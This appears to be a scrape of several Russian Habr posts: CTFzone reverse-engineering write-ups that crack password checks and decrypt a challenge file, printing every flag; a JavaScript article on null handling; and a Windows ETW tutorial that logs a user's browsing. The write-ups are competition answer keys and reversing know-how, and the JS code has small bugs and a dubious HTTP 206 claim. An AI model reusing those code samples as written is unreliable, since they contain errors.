Д-р Карл Вигерс — единственный из встреченных мной авторов, кто уделил должное внимание социальным факторам в код-ревью. Он хорошо подытожил свои тезисы в статье «[Очеловечивание экспертиз](http://www.processimpact.com/articles/humanizing_reviews.html)». Написанная в 2002 году, она сохраняет свою актуальность, демонстрируя долгосрочную ценность эффективного общения. | https://habr.com/ru/post/342244/ | null | ru | null |
# CTFzone write-ups – Shall I reverse it?
Друзья, бурные выходные прошли, и мы готовы представить вам новую партию райтапов – на этот раз мы подробно разберем задания ветки **Reverse**. Надеемся, вы уже разобрались с двумя заданиями из OSINT и готовы полностью погрузиться в процесс реверс-инжиниринга. Обещаем, будет интересно ;)
Это направление имело большую популярность среди участников — одно только задание на 100 решили 103 человека. Однако, таск на 1000 так и остался нерешенным. Поэтому, как и в случае с OSINT, райтап на *самое сложное задание CTFzone* будет опубликован несколько позже в отдельном посте. А сейчас бросайте все свои дела, и полный вперед!
#### Reverse\_50. Console version 1.337
> ***A.U.R.O.R.A.:** Lieutenant, you are standing in the Alpha base in front of the SCI430422 mainframe art console where its sixty-four LED lights are blinking in hypnotic patterns. As you know, this system is renowned for its top-notch security measures. Only the most expert or resourceful hackers are able to break in — and you are definitely one of them.*
**Решение:**
В этом задании нам нужно было попасть в систему консоли. Для начала запускаем файл на исполнение и видим окно с приветствием и предложением ввести пароль:
Что же делать? Открываем файл в отладчике OllyDbg и находим строчку «Please enter password:» — в основном окне пролистаем листинг вверх, до адреса 004010F9:
Как вы можете видеть, проверка введенного пароля осуществляется в функции, расположенной по адресу 00401000. Попробуем поставить на этот адрес брейкпоинт (клавиша F2 в OllyDbg), затем нажмем F9 (продолжить исполнение) и для примера введем какую-нибудь строку в окне программы:
Нажимаем «Enter», и происходит срабатывание брейкпоинта. Далее переходим в OllyDbg и нажимаем клавишу F7, чтобы перейти внутрь функции по адресу 00401000:
Сразу можно заметить, что по адресу 004010CF производится вызов функции strcmp() из стандартной библиотеки C. Эта функция сравнивает две строки и возвращает 0, если эти строки одинаковы. Ставим брейкпоинт на вызов функции (клавиша F2), нажимаем F9 (продолжить исполнение) и смотрим, какая еще строка, кроме введенной нами «password123», будет в нее передаваться:
В окне стека (и в окне регистров) мы видим, что строка s1 равна «ctfzone{l33t\_haxx0r\_is\_you!!1}» (без кавычек).
Вот и флаг!
**Ответ:** *ctfzone{l33t\_haxx0r\_is\_you!!1}*
### Reverse\_100. The Doors of Dorun
> \***A.U.R.O.R.A.:** Lieutenant, your co-pilot was abducted by aliens and put into prison. They are out hunting now and it’s your chance to set him free! He is held behind the Doors, the jambs invisible to the eye, and matched so perfectly with the metal bulkhead that when closed the Doors could not be seen.
The inscription on the archivolt read:
"The Doors of Dorun, Lord of Omega. Speak, friend, and enter. I, Norvy, made them. Calabrimbor of Alpha Centauri drew these signs".
But be careful and hurry up. They can be back any moment.\*
**Решение:**
В этом задании нам нужно было подобрать пароль к вратам, за которыми держали в плену нашего второго пилота. В первую очередь мы запускаем CrackMe, и на экране появляется следующее окно:
Попробуем ввести любое слово и нажать «Try», но пароль не подходит, и мы видим такое сообщение:
Сам по себе CrackMe представляет собой 64-битный исполняемый файл PE формата. Откроем его в IdaPro и попробуем найти строчку «the door is still closed!»:
На эту строчку существует только одна перекрестная ссылка:
Вот функция, в которой IdaPro нашла обращения к этой строчке:
Здесь мы также видим зашифрованный флаг (легко убедится, что функция sub\_140001160 занимается дешифровкой) и функцию, определяющую правильность пароля: «sub\_1400012C0». При помощи GetDlgItemTextW в эту функцию передается строка, введенная в поле для ввода пароля. Проанализируем эту функцию:
Здесь прослеживается цикл и два массива из пяти элементов. Также происходит проверка длины введенного пароля:
Проанализировав эту функцию, мы видим, что пароль из четырёх символов в кодировке UTF-16 (кодировка для WideChar в Windows) состоит из двух чисел c размером DWORD. Далее мы видим, что остатки от деления этих чисел на числа *((1 << (1 << i)) + 1)* сравниваются с захардкоженными значениями.
Можно заметить, что *((1 << (1 << i)) + 1) = 2^(2^i) + 1*, и что это числа Ферма: 3, 5, 17, 257, 65537. Алгоритм проверки пароля далее можно свести к двум системам сравнений:
```
X1 % 3 = 0
X1 % 5 = 0
X1 % 17 = 1
X1 % 257 = 241
X1 % 65537 = 995
```
```
X2 % 3 = 1
X2 % 5 = 4
X2 % 17 = 6
X2 % 257 = 104
X2 % 65537 = 413
```
Восстановить исходные числа нам поможет Китайская Теорема об Остатках. В интернете можно найти решатели таких сравнений:
Итак, мы получили два числа, которые теперь необходимо преобразовать в строку UTF16. Для этого можно использовать Python (при этом не забываем про обратный порядок байт):
Теперь осталось проверить полученный результат. Введем эту строку в окно для ввода пароля.
Вот и все! Мы открыли врата.
**Ответ:** *ctfzone{ch1n4\_t0wn}*
#### Reverse\_300. Python's urn
> ***A.U.R.O.R.A.:** Lieutenant, the Doors are open but there is one more lock behind them. You will find the key in the Japanese vase, but be careful – don’t wake this sleeping python up otherwise we won’t get out.*
**Решение:**
После того, как мы открыли врата, оказалось, что перед нами следующая дверь. Новое задание – новый ключ :) Поехали!
Запускаем файл на исполнение, вводим ключ, но ничего не выходит.
Попробуем разобраться. Прежде всего следует выяснить, с чем мы вообще имеем дело. Чтобы определить тип исполняемого файла, можно воспользоваться CFF explorer:
Очевидно, что .Net Assembly, Ida и традиционные отладчики в данном случае бессильны. В этот момент можно было вспомнить про dnSpy — один из инструментов, которые могут помочь в исследовании кода, использующего .Net. Загружаем в него исполняемый файл.
По названию основного класса (PythonMain) и названию ресурсов можно сделать вывод, что эта программа была написана на IronPython. В основной функции происходит лишь подгрузка .NET сборки из ресурса «IPDll.WFCrackMe». Придется извлечь ресурс с этим именем и загрузить его в dnSpy.
Здесь все гораздо интересней, есть даже названия функций. Сразу предположим, что функция с названием «verifyPassword» проверяет введенный нами пароль, и чтобы убедиться в этом, достаточно протестировать в отладчике, какая строка будет передана ей в качестве аргумента.
Далее нам необходимо понять, как проверяется пароль. Самая большая проблема при анализе кода – это разобраться с функционированием «strongBox» и «globalArrayFromContext». Эти переменные на самом деле заполнялись в функции «`__main__`».
Рассмотрим процесс реверсинга verifyPassword на примере небольшого куска кода с ветвлением:
```
if ((arg = (CallSite>)strongBox.Value[37]).Target(arg, (arg2 = (CallSite>)strongBox.Value[38]).Target(arg2, globalContext, globalArrayFromContext[26].get\_CurrentValue(), password), 81))
{
num = 73;
num = 73;
result = globalArrayFromContext[16].get\_CurrentValue();
}
```
В первую очередь нам необходимо подставить значения на места «strongBox» и «globalArrayFromContext». Значения берем из следующих строк «`__main__`»:
```
strongBox.Value[38] = CallSite>.Create(PythonOps.MakeInvokeAction($globalContext, new CallSignature(1)));
strongBox.Value[37] = CallSite>.Create(PythonOps.MakeComboAction($globalContext, PythonOps.MakeBinaryOperationAction($globalContext, ExpressionType.NotEqual), PythonOps.MakeConversionAction($globalContext, typeof(bool), 1)));
```
Если нет уверенности в правильности полученного для «strongBox» значения, его можно проверить в отладчике. Подставим значения в исследуемый участок кода и упростим его:
```
if (NotEqual(len(password), 81))
{
result = false;
}
Или
if (len(password) != 81)
result = false;
```
Таким образом мы выяснили, что длина пароля должна быть равна 81 символу. Дальнейший анализ функции затруднителен, т.к. функция довольно большая, но, благодаря поверхностному анализу и отладке, мы сможем сделать несколько выводов:
1. При дальнейшем анализе мы сразу заметим таблицу 9x9 из 81 числа.
2. При попытке ввести в качестве пароля строку из 81 символов, содержащую не только цифры, мы попадем на обработку исключения: «IronPython.Runtime.Exceptions.ValueErrorException: Invalid integer literal». Следовательно, необходимо вводить только цифры.
3. Также одно из ветвлений укажет нам на то, что все цифры, кроме 0, должны совпадать с цифрами из массива.
4. Нулевые ячейки таблицы заполняются соответствующими ячейками во введенной строке.
Далее мы попадаем в ветвление со страшным, на первый взгляд, условием:
```
if ((arg49 = (CallSite>)strongBox.Value[59]).Target(arg49, (!(arg50 = (CallSite>)strongBox.Value[60]).Target(arg50, obj9 = (arg51 = (CallSite>)strongBox.Value[61]).Target(arg51, globalContext, globalArrayFromContext[11].get\_CurrentValue(), obj))) ? obj9 : ((!(arg52 = (CallSite>)strongBox.Value[62]).Target(arg52, obj10 = (arg53 = (CallSite>)strongBox.Value[63]).Target(arg53, globalContext, globalArrayFromContext[12].get\_CurrentValue(), obj))) ? obj10 : (arg54 = (CallSite>)strongBox.Value[64]).Target(arg54, globalContext, globalArrayFromContext[13].get\_CurrentValue(), obj))))
```
После подстановки соответствующих значений и упрощения это условие превращается в простую проверку:
```
if (BoolConvert((!BoolConvert(obj9 = CheckLines(obj))) ? obj9 : ((!BoolConvert(obj10 = checkColumns(obj))) ? obj10 : CheckSquares(obj))))
Можем убрать лишние BoolConvert и раскрыть конструкцию «a?b:c». Получается еще проще:
if(CheckLines(obj) && СheckColumns(obj) && CheckSquares(obj))
```
Нам нужно попасть на истинную ветку данного условия, т.е. все функции должны вернуть «True».
Теперь проанализируем функцию CheckLines. Она довольно простая — функция проверяет, что в каждой строке встречаются цифры от 1 до 9. Функции СheckColumns и CheckSquares посложнее, но на этом этапе уже можно догадаться, что мы имеем дело с Судоку:
В интернете можно найти массу решателей, так что вы можете поупражняться самостоятельно ;)
Итак, воспользовавшись решателем, мы получаем искомый ключ.
Дверь открыта!
**Ответ:** *ctfzone{1\_v3ry\_l1k3\_5ud0ku\_9arm3!}*
#### Reverse\_500. Bridge repair
> ***A.U.R.O.R.A.:** Lieutenant, watch your step! There is a pit infested with worms down the road. There is a bridge over the pit but it’s in ruins and you can restore it only in the same way it was destroyed. I’ve got one worm in the quarantine, go for him and repair the bridge. Hurry up, we have to save our pilot!*
**Решение:**
Итак, в этом задании необходимо спасти пилота, однако добраться до него можно только преодолев разрушенный мост. Нам нужно его восстановить. В качестве «моста» предлагается файл «Bridge.txt».
Открыв файл «Bridge.txt» в шестнадцатеричном редакторе, мы можем убедиться, что он зашифрован. Из описания задания понятно, что нам предоставили программу, которая зашифровала этот файл, и нам необходимо его дешифровать.
Далее проверим, что не так с файлом «reverse500.exe». Запускаем файл, и в ответ на консоли появляется сообщение — «you must specify the file for encryption»:
С помощью перекрестных ссылок поищем использование этой строчки в исполняемом файле. Для этого откроем файл в компиляторе IdaPro. Очевидно, что шифруется файл, передаваемый в качестве аргумента командной строки.
Из приведенного фрагмента кода видно, что шифрование осуществляет функция 401F60.
Поверхностно исследовав данную функцию, мы можем выделить функции выделения памяти, чтения файла, шифрования содержимого файла и записи зашифрованного содержимого в исходный файл:
Далее попробуем понять структуру зашифрованного файла, изучив простенькую функцию «WriteCryptedData»:
Конечно, можно определить тип используемого хеша, но это необязательно. Тем не менее, для дальнейшей работы нам необходимо понять, как ведется подсчет хэш-суммы. При подробном рассмотрении функции «HashCalculate» становится очевидно, что при подсчете хеша используется 8 байт вектора «IV».
Итак, мы выяснили, что зашифрованный файл имеет следующую структуру:
Посмотрим на файл «Bridge.txt»:
Далее определим последний байт вектора «IV». Для этого откроем программу в отладчике, указав в качестве аргумента любой файл, и поставим брейкпоинт на адрес функции «WriteCryptedData». После чего, предварительно немного поправив ассемблерный код, организуем перебор последнего байта вектора «IV». Результат перебора показан на скриншоте:
Теперь у нас есть полный вектор «IV»: *[47 08 8F E7 C4 C0 E9 AB]*.
Далее необходимо проверить режим шифрования и симметричность используемого шифра.
Вернемся к функции «CryptData» в отладчике, подав на вход программе тестовый файл (в моем случае файл содержал строку «HelloWorld!»). Далее запишем вектор «IV» (находится в EAX перед вызовом CryptData) и результат шифрования (находится в EAX после вызова CryptData).
Проверим идентичность процедуры дешифрования и шифрования. Для этого перезапустим программу под отладчиком и снова поставим брейкпонт на «CryptData». Только теперь перед ее исполнением поправим вектор «IV» и шифруемый буфер.
В результате повторного шифрования зашифрованных данных мы получим исходный текст!
Теперь можно расшифровать файл из задания. Для этого удалим из него первые 15 байт и запустим программу под отладчиком, указав в качестве параметра файл с зашифрованными данными. Вновь поставим брейкпоинт на «CryptData» и перед вызовом функции исправим вектор «IV» на [47 08 8F E7 C4 C0 E9 AB]. После исправления вектора «IV» нажимаем клавишу F9, в результате чего программа зашифрует данные. Из результирующего файла удалим первые 15 байт и откроем его в текстовом редакторе:
Флаг найден!
**Ответ:** *ctfzone{3RR4dIC473\_7HIS\_WORM!}*
*P.S. Для тех, кому интересно, мы использовали в этом задании алгоритм шифрования Salsa и алгоритм хэширования CubeHash. Но это может заметить только опытный глаз ;)*
Кажется, теперь все встало на свои места. Если у вас есть какие-то вопросы или пожелания – пишите в [наш чат в телеграме](https://telegram.me/joinchat/Aj-l2UC2XdOvF_ogMsQE0w) и оставляйте комментарии. А новые познания в области реверс-инжиниринга можно продемонстрировать по [этой ссылке](https://tasks.bi.zone) — задания будут доступны до 15 декабря.
Всем удачи и до новых встреч! | https://habr.com/ru/post/316420/ | null | ru | null |
# Работа с непредвиденными данными в JavaScript
Одна из основных проблем в работе с динамически типизированными языками заключается в том, что невозможно всегда гарантировать правильность потока данных, так как невозможно принудительно задать для параметра или переменной значение, например отличное от null. В таких случаях мы, как правило, используем простой код:
```
function foo (mustExist) {
if (!mustExist) throw new Error('Parameter cannot be null')
return ...
}
```
Проблема при использовании такого подхода заключается в загрязнении кода, так как приходится тестировать переменные везде и нет возможности гарантировать, что все разработчики будут действительно выполнять этот тест всегда, особенно в ситуациях, когда переменная или параметр не может иметь значение null. Часто мы даже не знаем, что такой параметр может иметь значение undefined или null — так часто бывает, когда над клиентской и серверной частями работают разные специалисты, то есть в подавляющем большинстве случаев.
Чтобы немного оптимизировать этот сценарий, я начал искать, как и с помощью каких стратегий лучше всего свести к минимуму фактор неожиданности. Именно тогда мне попалась [великолепная статья Эрика Эллиотта](https://medium.com/javascript-scene/handling-null-and-undefined-in-javascript-1500c65d51ae). Цель этой работы — не полностью опровергнуть его статью, а добавить интересную информацию, которую мне удалось обнаружить со временем благодаря опыту в сфере разработки на JavaScript.
Прежде чем начать, мне бы хотелось пройтись по некоторым пунктам, которые рассматриваются в этой статье, и выразить свое мнение в качестве разработчика серверных компонентов, так как другая статья ориентирована больше на клиентскую часть.
С чего все начиналось
---------------------
Проблема с обработкой данных может быть обусловлена несколькими факторами. Основная причина, конечно, заключается в пользовательском вводе. Однако существуют и другие источники неверно сформированных данных, помимо указанных в другой статье:
* Записи баз данных
* Функции, которые неявно возвращают данные null
* Внешние API-интерфейсы
Во всех рассматриваемых случаях будут применяться разные решения, а позже мы подробно проанализируем каждое из них, помня, что ни одно не является панацеей. Причина большинства проблем — человеческая ошибка: во многих случаях языки подготовлены для работы с нулевыми или неопределенными данными (null или undefined), однако в процессе трансформации этих данных способность обрабатывать их может быть утеряна.
Данные, вводимые пользователем
------------------------------
В этом случае у нас очень немного возможностей. Если проблема заключается во вводимых пользователем данных, решить ее можно в ходе так называемой *гидратации* (другими словами, мы должны взять сырые вводные данные, которые отправляет нам пользователь (например, в составе полезной нагрузки API-интерфейса) и преобразовать их в нечто, с чем мы сможем работать без ошибок).
Что касается серверной части, то при использовании веб-сервера, такого как Express, мы можем выполнять все операции с вводимыми пользователем в клиентской части данными с помощью стандартных инструментов, таких как [JSON-схема](https://www.npmjs.com/package/ajv) или [Joi](https://github.com/hapijs/joi).
Пример того, что можно сделать, используя Express или AJV, приводится ниже:
```
const Ajv = require('ajv')
const Express = require('express')
const bodyParser = require('body-parser')
const app = Express()
const ajv = new Ajv()
app.use(bodyParser.json())
app.get('/foo', (req, res) => {
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
password: { type: 'string' },
email: { type: 'string', format: 'email' }
},
additionalProperties: false
required: ['name', 'password', 'email']
}
const valid = ajv.validate(schema, req.body)
if (!valid) return res.status(422).json(ajv.errors)
// ...
})
app.listen(3000)
```
Смотрите: мы проверяем основную часть маршрута. По умолчанию это объект, который мы получим из пакета body-parser в составе полезной нагрузки. В данном случае мы передаем его через *JSON-схему*, так что он пройдет проверку, если одно из этих свойств имеет другой тип или другой формат (в случае с электронной почтой).
Важно! Обратите внимание, что мы возвращаем код HTTP 422, означающий *необрабатываемый объект*. Многие расценивают ошибку запроса, например неверную основную часть или строку запроса, в качестве ошибки 400 *Недопустимый запрос* — это отчасти верно, однако в данном случае проблема заключалась не в самом запросе, а в данных, которые с ним отправил пользователь. Так что оптимальным ответом пользователю будет ошибка 422: это означает, что запрос правильный, однако не может быть обработан, так как формат его содержимого отличается от ожидаемого.
Другой вариант (помимо использования AJV) — использовать библиотеку, которую я создал вместе с [Роз](https://dev.to/rjmunhoz). Мы назвали ее [Expresso](https://github.com/expresso), и она представляет собой набор библиотек, которые немного упрощают разработку API-интерфейсов, использующих Express. Один из таких инструментов — [@expresso/validator](https://github.com/expresso/validator), который, по сути выполняет то, что мы продемонстрировали выше, но может быть передан в качестве промежуточного ПО.
Дополнительные параметры со значениями по умолчанию
---------------------------------------------------
В дополнение к проверенному ранее мы обнаружили возможность передачи значения null в наше приложение в случае, если оно не отправляется в необязательном поле. Представьте, например, что у нас есть маршрут разбиения на страницы, который принимает два параметра: page и size в качестве строк запроса. Однако они не являются обязательными и в случае неполучения должны принимать значение по умолчанию.
В идеале в нашем контроллере должна быть функция, которая делает примерно следующее:
```
function searchSomething (filter, page = 1, size = 10) {
// ...
}
```
Примечание. Точно так же как в случае с ошибкой 422, которую мы возвращали в ответ на запросы разбиения на страницы, важно возвращать правильный код ошибки, 206 *Неполное содержимое*, всякий раз в ответ на запрос, объем возвращаемых данных по которому является частью целого, мы возвращаем код 206. Когда пользователь дошел до последней страницы и больше нет данных, мы можем вернуть код 200, а когда пользователь пытается найти страницу за пределами общего диапазона страниц, мы возвращаем код 204 *Содержимое отсутствует*.
Это бы решило проблему в случае, когда мы получаем два пустых значения, однако здесь речь идет об очень спорном аспекте JavaScript в целом. Необязательные параметры принимают значение по умолчанию исключительно в том случае, если значение пусто, однако это правило не работает для значения null, так что если мы сделаем следующее:
```
function foo (a = 10) {
console.log(a)
}
foo(undefined) // 10
foo(20) // 20
foo(null) // null
```
и нам нужно, чтобы информация была обработана как null, мы не можем полагаться в этом исключительно на необязательные параметры. Поэтому в таких случаях у нас два пути:
1. Использовать операторы If в контроллере
```
function searchSomething (filter, page = 1, size = 10) {
if (!page) page = 1
if (!size) size = 10
// ...
}
```
Это и выглядит не очень, и достаточно неудобно.
2. Использовать *JSON-схемы* непосредственно на маршруте
Опять же, мы можем использовать для проверки этих данных AJV или @expresso/validator:
```
app.get('/foo', (req, res) => {
const schema = {
type: 'object',
properties: {
page: { type: 'number', default: 1 },
size: { type: 'number', default: 10 },
},
additionalProperties: false
}
const valid = ajv.validate(schema, req.params)
if (!valid) return res.status(422).json(ajv.errors)
// ...
})
```
Работа со значениями Null и Undefined
-------------------------------------
Я лично не в восторге от идеи использовать в JavaScript значения null и undefined одновременно, чтобы доказать, что значение пусто, и тому есть несколько причин. Помимо сложностей с выводом этих понятий на абстрактный уровень нельзя забывать и о необязательных параметрах. Если у вас все еще есть сомнения по поводу этих понятий, позвольте привести прекрасный пример из практики:
Теперь, когда мы разобрались с определениями, можно сказать, что в 2020 году в JavaScript появятся две важнейшие функции:*оператор объединения null* (Null Coalescing Operator) и *необязательное связывание* (Optional Chaining). Я не буду сейчас вдаваться в подробности, так как [уже написал об этом статью](https://imasters.com.br/javascript/optional-chaining-e-null-coalescing-operator-com-typescript) (она на португальском), но отмечу, что эти два нововведения значительно упростят нашу задачу, так как мы сможем сконцентрироваться на двух этих понятиях, null и undefined с подходящим оператором (??), вместо того чтобы использовать логические отрицания, такие как !obj, являющиеся благодатной почвой для ошибок.
Функции, которые неявно возвращают значение null
------------------------------------------------
Решить эту проблему гораздо сложнее из-за ее неявного характера. Некоторые функции обрабатывают данные, исходя из того, что они всегда будут предоставлены, однако в некоторых случаях это не так. Рассмотрим стандартный пример:
```
function foo (num) {
return 23*num
}
```
Если num равно null, результат этой функции будет равен 0, чего невозможно было ожидать. В таких случаях нам не остается ничего, кроме как тестировать код. Можно провести тестирование двух видов. Первый — использовать простой оператор if:
```
function foo (num) {
if (!num) throw new Error('Error')
return 23*num
}
```
Второй способ заключается в использовании монады *Either*, которая подробно рассматривается в упомянутой мной статье. Это прекрасный способ обработки неоднозначных данных, то есть данных, которые могут быть равны null или нет. Это объясняется тем, что в JavaScript уже есть встроенная функция, поддерживающая два потока действий, — Promise:
```
function exists (value) {
return x != null ? Promise.resolve(value) : Promise.reject(`Invalid value: ${value}`)
}
async function foo (num) {
return exists(num).then(v => 23 * v)
}
```
Так можно делегировать оператор catch из exists функции, вызвавшей функцию foo:
```
function init (n) {
foo(n)
.then(console.log)
.catch(console.error)
}
init(12) // 276
init(null) // Invalid value: null
```
Внешние API и записи баз данных
-------------------------------
Это очень распространенный случай, особенно когда имеются системы, разработанные на основе баз данных, которые были созданы или заполнены ранее. Например, новый продукт, использующий ту же базу данных, что и его успешный предшественник, тем самым интегрируя пользователей разных систем, и так далее.
Большой проблемой при этом является не тот факт, что база данных неизвестна, — по сути, это причина, так как мы не знаем, что было сделано на уровне базы данных, и не можем подтвердить, получим мы данные со значением null или undefined или нет… Нельзя не сказать и о некачественной документации, когда база данных не документируется должным образом и мы сталкиваемся с той же проблемой, что и раньше.
Здесь мы практически ничего не можем сделать, и лично я предпочитаю проверять состояние данных, чтобы убедиться, что я смогу с ними работать. Однако все данные не проверишь, поскольку многие возвращаемые объекты попросту могут быть слишком большими. Поэтому прежде чем выполнять какие-либо операции, рекомендуется проверять данные, участвующие в работе функции, например карту или фильтр, чтобы убедиться, имеют ли они значение undefined или нет.
Генерирование ошибок
--------------------
Хорошей практикой является использование *функций утверждения* для баз данных и внешних API. По сути, эти функции возвращают данные, если таковые имеются, а в противном случае генерируется ошибка. Самый распространенный вариант использования функций такого типа — это когда у нас есть API, например для поиска определенного типа данных по идентификатору, хорошо известный findById:
```
async function findById (id) {
if (!id) throw new InvalidIDError(id)
const result = await entityRepository.findById(id)
if (!result) throw new EntityNotFoundError(id)
return result
}
```
Замените Entity названием своей сущности, например UserNotFoundError.
Это хорошо, так как мы можем в пределах одного и того же контроллера иметь функцию для поиска пользователей по ИД и еще одну функцию, использующую этого пользователя для поиска других данных, например профилей этого пользователя в другой коллекции баз данных. При вызове функции поиска профилей мы используем утверждение, чтобы гарантировать, что пользователь действительно существует в нашей базе данных. В противном случае функция даже не будет выполнена и можно искать ошибку непосредственно на маршруте:
```
async function findUser (id) {
if (!id) throw new InvalidIDError(id)
const result = await userRepository.findById(id)
if (!result) throw new UserNotFoundError(id)
return result
}
async function findUserProfiles (userId) {
const user = await findUser(userId)
const profile = await profileRepository.findById(user.profileId)
if (!profile) throw new ProfileNotFoundError(user.profileId)
return profile
}
```
Обратите внимание, что мы не выполним вызов базы данных, если пользователь не существует, так как первая функция гарантирует его существование. Теперь в маршруте мы можем выполнить нечто подобное:
```
app.get('/users/{id}/profiles', handler)
// --- //
async function handler (req, res) {
try {
const userId = req.params.id
const profile = await userService.getProfile(userId)
return res.status(200).json(profile)
} catch (e) {
if (e instanceof UserNotFoundError || e instanceof ProfileNotFoundError) return res.status(404).json(e.message)
if (e instanceof InvalidIDError) return res.status(400).json(e.message)
}
}
```
Мы можем узнать тип возвращаемой ошибки, просто проверив название экземпляра имеющегося класса ошибки.
Заключение
----------
Существует несколько способов обработки данных, гарантирующих непрерывный и прогнозируемый поток информации. Знаете еще какие-нибудь советы?! Оставляйте их в комментариях
Понравился материал?! Хотите дать совет, выразить мнение или просто поздороваться? Вот как найти меня в социальных сетях:
* [GitHub](https://github.com/khaosdoctor)
* [Твиттер](https://twitter.com/_staticvoid)
* [Сайт](https://lsantos.dev/)
* [Facebook](https://fb.com/lsantos.dev)
* [LinkedIn](https://linkedin.com/in/lhs-santos)
---
Эта статья была оригинально размещена на [dev.to](https://dev.to/azure/do-zero-a-automacao-em-7-minutos-com-github-actions-1386) Лукасом Сантосом. Если у вас есть какие-либо вопросы или комментарии по теме статьи, разместите их под исходной статьей на dev.to | https://habr.com/ru/post/518020/ | null | ru | null |
# Изучаем Event Tracing for Windows: теория и практика
Добрый день. Недавно мне необходимо было разобраться со службой трассировки Windows. Эта служба появилась еще в Windows 2000, однако статей по этой службе в интернете оказалось крайне мало.Так появилась идея написания этой статьи. Итак, начнем!
Сегодня я попытаюсь рассказать про:
1. Теоретические основы службы трассировки Windows
2. Создание своей сессии ETW
3. Использование event tracing API для работы с ETW
4. Использование tracerpt и xperf для работы с ETW
Теоретические основы службы трассировки Windows
-----------------------------------------------
Event Tracing for Windows (ETW) — это служба, которая позволяет получать события от одного или нескольких поставщиков событий в режиме реального времени или из файла \*.etl за некоторый временной период. Не понятно? Сейчас разберемся!
Для того, чтобы понять принцип работы ETW, необходимо разобраться со структурой этой службы
Архитектура ETW включает в себя 4 элемента
1. поставщики событий (providers)
2. потребители событий (consumers)
3. контроллеры ETW (controllers)
4. сессии ETW (event tracing sessions)
Принцип работы состоит в следующем.
В системе зарегистрировано некоторое число поставщиков событий, т.е. приложений, которые могут делиться своими событиями с сессиями ETW. Так же в этой системе есть некоторое число активных сессий ETW, которые могут потреблять события от одного или нескольких поставщиков и предоставлять их пользователю либо в режиме реального времени, либо записывать все события от поставщиков в файл логирования (\*.etl). И управляют всем этим движением контроллеры.
А теперь рассмотрим каждый элемент рассмотренной выше архитектуры подробнее, чтобы окончательно разобраться с принципом работы!
### Поставщики событий (providers)
Поставщики событий — это приложения, содержащие инструменты отслеживания событий. После того, как поставщик зарегистрировался, контроллер может включить или отключить отслеживание событий в поставщике. Поставщик определяет свою интерпретацию включения или выключения. Как правило, включенный поставщик генерирует события, а отключенный поставщик нет. Это позволяет добавлять отслеживание событий в наше приложение, не требуя, чтобы оно генерировало события все время.
Один поставщик может делиться своими событиями сразу с несколькими сессиями ETW.
Каждое событие состоит из двух элементов: заголовка и данных! Заголовок события включает информацию о событии: идентификатор провайдера, идентификатор события, временную метку и т.д. Остальные данные определяются конкретным провайдером: ETW принимает любые данные и записывает их в буфер, а их интерпретация возлагается на потребителей информации.
Существует четыре основных типа провайдеров:
поставщики MOF (классические)
провайдеры WPP
провайдеры на основе манифеста
провайдеры TraceLogging.
Поставщики событий различаются по типам полей, которые они хранят в полезных нагрузках событий.
С поставщиками событий вроде разобрались. Идем дальше!
### Контроллеры
Контроллер — это приложение, которое отвечает за функционирование одной или нескольких сессий ETW. Именно контроллер определяет размер и местоположение файла журнала, запускает и останавливает сеансы трассировки событий (сессии ETW), позволяют поставщикам регистрировать события в сеансе. Как уже было сказано ранее, именно контроллер разрешает провайдеру делиться своими событиями!
### Потребители
Потребители — это приложения, которые получают и обрабатывают события от одного или нескольких сеансов трассировки одновременно. Потребители могут получать события, хранящиеся в файлах журналов или из сеансов, которые доставляют события в режиме реального времени. Как мы уже знаем, у одной сессии ETW может быть несколько поставщиков. Возникает вопрос: а не будет ли путаницы? Как события из различных сессий ETW будут располагаться друг относительно друга? События сортируются по времени их появления, т.е. система доставляет события в хронологическом порядке!
### Сессии ETW
Сеансы отслеживания событий (сессии ETW) записывают события от одного или нескольких провайдеров, которые разрешает контроллер. Сессия также отвечает за управление и очистку буферов.
Трассировка событий поддерживает до 64 сеансов трассировки событий, выполняющихся одновременно. Из этих сессий есть две сессии специального назначения. Остальные сеансы доступны для общего пользования. Две сессии специального назначения:
* Global Logger Session
* NT Kernel Logger Session
Сеанс трассировки событий Global Logger записывает события, которые происходят в начале процесса загрузки операционной системы, например, генерируемые драйверами устройств.
Сеанс трассировки событий NT Kernel Logger записывает заранее определенные системные события, сгенерированные операционной системой, например, события дискового ввода-вывода или сбоя страницы.
Итак, а теперь переходим к практике!!!
Создание своей сессии ETW
-------------------------
Перед началом работы нам потребуется знание нескольких утилит, а именно:
список провайдеров, доступных на конкретной ОС
```
logman query providers
```
получить полную информацию о провайдере
```
wevtutil gp <имя провайдера> /ge /gm
```
список всех активный сессий ETW
```
xperf -loggers
```
Так же, для просмотра файлов, желательно иметь Notepad++.
Просмотрев список провайдеров на своем компьютере (а их более 1000 на Windows 10), выберем один из них для нашей сессии:
Я выбрал Microsoft-Windows-WinINet (эта служба записывает все наши действия при работе в браузере Microsoft Edge).
1. Win+R -> compmgmt.msc
2. «Performance» («Производительность»)
3. «Data Collector Sets» («Группы сборщиков данных»)
4. «Event Trace Sessions» («Сеансы отслеживания событий»)
5. «New» («Создать»)
6. «Data Collector Set» («Группа сборщиков данных)
7. Указываем имя сборщика данных
8. „Create manually (Advanced)“ (»Создать вручную (для опытных)")
9. Добавляем интересующие нас провайдеры в сессию
10. Указываем интересующие нас ключевые слова в поле «Keywords(Any)» («Ключевые слова(Любые)») — 0xFFFFFFFFFFFFFFFF
11. Указываем уровень логирования 0xFF
=
12. Выбираем путь, по которому будет сохраняться файл журнала сессии
13. Выбираем флажок «Start this data collector set now» («Запустить группу сборщиков данных сейчас»)
Теперь созданная нами сессия работает. Необходимо поработать некоторое время в Microsoft Edge, чтобы сессия собрала о нас информацию!
После того, как прошло некоторое время переходим в место, куда мы сохранили файл логирования. Там выполняем следующую команду.
```
tracerpt "моя группа сборщиков данных.etl" -o -report -summary -lr
```
После выполнения этой команды сформируется 4 файла.
Нас в данный момент будет интересовать dumpfile.xml. Открывать этот файл можно либо через notepad++, можно также сделать это в Excel.
Внимательно изучив этот файл, можно заметить, что данная сессия собрала почти всю информацию о нашем перемещении в сети интернет!!! Более подробно об этом можно почитать здесь [Изучаем ETW и извлекаем профиты](https://kaimi.io/2017/03/etw-event-tracing-for-windows/comment-page-1/#comment-20820).
Ну что же, а мы движемся дальше. Только что мы создали сессию с единственным поставщиком событий. Получили данные сессии из файла логирования. Пришло время кодить!
Использование event tracing API для работы с ETW
------------------------------------------------
На хабре есть интересная статья, [Самый худший из когда-либо созданных API](https://habr.com/ru/post/254795/).
В этой статье Вы найдете ответы на многие вопросы, которые у вас скорее всего возникнут при написании приложений!
Кодить будем на C++.
